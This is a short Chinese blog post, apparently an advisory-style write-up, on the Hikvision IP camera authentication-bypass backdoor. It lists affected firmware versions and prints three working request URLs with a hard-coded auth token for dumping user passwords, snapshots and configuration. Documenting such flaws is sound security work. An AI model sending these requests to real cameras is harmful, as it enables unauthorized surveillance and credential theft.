声明
本文内容仅供学习交流使用，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。
一、漏洞介绍
1.许多Hikvision IP相机包含一个后门，允许未经身份验证假冒任何配置用户帐户。至少从2014年起，海康威视的产品就存在这一漏洞。除了hikvision品牌的设备外，它还影响了许多以各种品牌名称出售的白标相机产品。成千上万的易受攻击的设备在发布时仍暴露在互联网上。除了获得完全的管理访问权限外，该漏洞还可用于检索所有配置用户的明文密码。
http://camera.ip/Security/users?auth=YWRtaW46MTEK
2.在没有身份验证的情况下获取相机快照
http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
3、下载相机配置
http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
三、漏洞影响版本
DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 Build 160530
DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401
DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125
DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414
DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421
DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928
DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106
四、参考链接
https://packetstormsecurity.com/files/144097/hikvisionip-bypass.txt
https://www.seebug.org/vuldb/ssvid-96469
欢迎师傅加入QQ交流群1026579707
标签：7921,Series,V5.4,漏洞,build,V5.2,2017,CVE,Build From： https://www.cnblogs.com/sentouceshi/p/16878881.html